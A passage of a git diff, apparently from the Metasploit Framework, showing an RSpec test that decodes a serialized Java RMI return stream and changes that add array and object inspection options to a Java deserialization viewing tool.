"\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + + let(:return_stream_io) { StringIO.new(return_stream) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::ReturnData decoded" do + expect(return_data.decode(return_stream_io)).to eq(return_data) + end + + it "decodes message id correctly" do + return_data.decode(return_stream_io) + expect(return_data.stream_id).to eq(Rex::Proto::Rmi::Model::RETURN_DATA) + end + + it "decodes the return data correctly" do + return_data.decode(return_stream_io) + expect(return_data.return_value).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + describe "#encode" do + it "re-encodes a ReturnData stream correctly" do + return_data.decode(return_stream_io) + expect(return_data.encode).to eq(return_stream) + end + end +end diff --git a/spec/tools/java_deserializer_spec.rb b/spec/tools/java_deserializer_spec.rb index 26fc141bee..ada6d79415 100644 --- a/spec/tools/java_deserializer_spec.rb +++ b/spec/tools/java_deserializer_spec.rb @@ -47,14 +47,32 @@ describe JavaDeserializer do end context "when file contains a valid stream" do - it "prints the stream contents" do - expect(File).to receive(:new) do - contents = valid_stream - StringIO.new(contents) + before(:each) do + $stdout.string = '' + end + + context "when no options" do + it "prints the stream contents" do + expect(File).to receive(:new) do + contents = valid_stream + StringIO.new(contents) + end + deserializer.file = 'sample' + deserializer.run + expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }') + end + end + + context "when :array in options" do + it "prints the array contents" do + expect(File).to receive(:new) do + contents = valid_stream + StringIO.new(contents) + end + deserializer.file = 'sample' + deserializer.run({:array => '0'}) + expect($stdout.string).to include('Array Type: char') end - deserializer.file = 'sample' - deserializer.run - expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }') end end @@ -69,6 +87,5 @@ describe JavaDeserializer do expect($stdout.string).to include('[-] Failed to unserialize Stream') end end - end end \ No newline at end of file diff --git a/tools/java_deserializer.rb b/tools/java_deserializer.rb index b78d2a3cf3..3c4ffb69dc 100755 --- a/tools/java_deserializer.rb +++ b/tools/java_deserializer.rb @@ -13,6 +13,7 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msf_base), '..', 'lib'))) require 'rex/java/serialization' require 'pp' +require 'optparse' # This class allows to deserialize Java Streams from # files @@ -31,7 +32,7 @@ class JavaDeserializer # # @return [Rex::Java::Serialization::Model::Stream] if succeeds # @return [nil] if error - def run + def run(options = {}) if file.nil? print_error("file path with serialized java stream required") return @@ -49,7 +50,13 @@ class JavaDeserializer return end - puts stream + if options[:array] + print_array(stream.contents[options[:array].to_i]) + elsif options[:object] + print_object(stream.contents[options[:object].to_i]) + else + puts stream + end end private @@ -75,9 +82,87 @@ class JavaDeserializer def print_line $stdout.puts("\n") end + + # @param [Rex::Java::Serialization::Model::NewObject] obj the object to print + # @param [Fixnum] level the indentation level when printing super classes + def print_object(obj, level = 0) + prefix = " " * level + if obj.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc + puts "#{prefix}Object Class Description:" + print_class(obj.class_desc.description, level + 1) + else + puts "#{prefix}Object Class Description: #{obj.class_desc.description}" + end + puts "#{prefix}Object Data: #{obj.class_data}" + end + + # @param [Rex::Java::Serialization::Model::NewClassDesc] c the class to print + # @param [Fixnum] level the indentation level when printing super classes + def print_class(c, level = 0) + prefix = " " * level + puts "#{prefix}Class Name: #{c.class_name}" + puts "#{prefix}Serial Version: #{c.serial_version}" + puts "#{prefix}Flags: #{c.flags}" + puts "#{prefix}Fields ##{c.fields.length}" + c.fields.each do |f| + puts "#{prefix}Field: #{f}" + end + puts "#{prefix}Class Annotations ##{c.class_annotation.contents.length}" + c.class_annotation.contents.each do |c| + puts "#{prefix}Annotation: #{c}" + end + puts "#{prefix}Super Class: #{c.super_class}" + if c.super_class.description.class == Rex::Java::Serialization::Model::NewClassDesc + print_class(c.super_class.description, level + 1) + end + end + + # @param [Rex::Java::Serialization::Model::NewArray] arr the array to print + # @param [Fixnum] level the indentation level when printing super classes + def print_array(arr, level = 0) + prefix = " " * level + if arr.array_description.description.class == Rex::Java::Serialization::Model::NewClassDesc + puts "#{prefix}Array Description" + print_class(arr.array_description.description, 1) + else + puts "#{prefix}Array Description: #{arr.array_description.description}" + end + puts "#{prefix}Array Type: #{arr.type}" + puts "#{prefix}Array Values ##{arr.values.length}" + arr.values.each do |v| + puts "Array value: #{prefix}#{v} (#{v.class})" + if v.class == Rex::Java::Serialization::Model::NewObject + print_object(v, level + 1) + end + end + end end if __FILE__ == $PROGRAM_NAME + + options = {} + OptionParser.new do |opts| + opts.banner = "Usage: java_deserializer.rb [option]" + + opts.on("-aID", "--array=ID", "Print detailed information about content array") do |id| + options[:array] = id + end + + opts.on("-oID", "--object=ID", "Print detailed information about content object") do |id| + options[:object] = id + end + + opts.on("-h", "--help", "Prints this help") do + puts opts + exit + end + end.parse! + + if options.length > 1 + $stdout.puts "[-] Don't provide more than one option" + exit + end + deserializer = JavaDeserializer.new(ARGV[0]) - deserializer.run + deserializer.run(options) end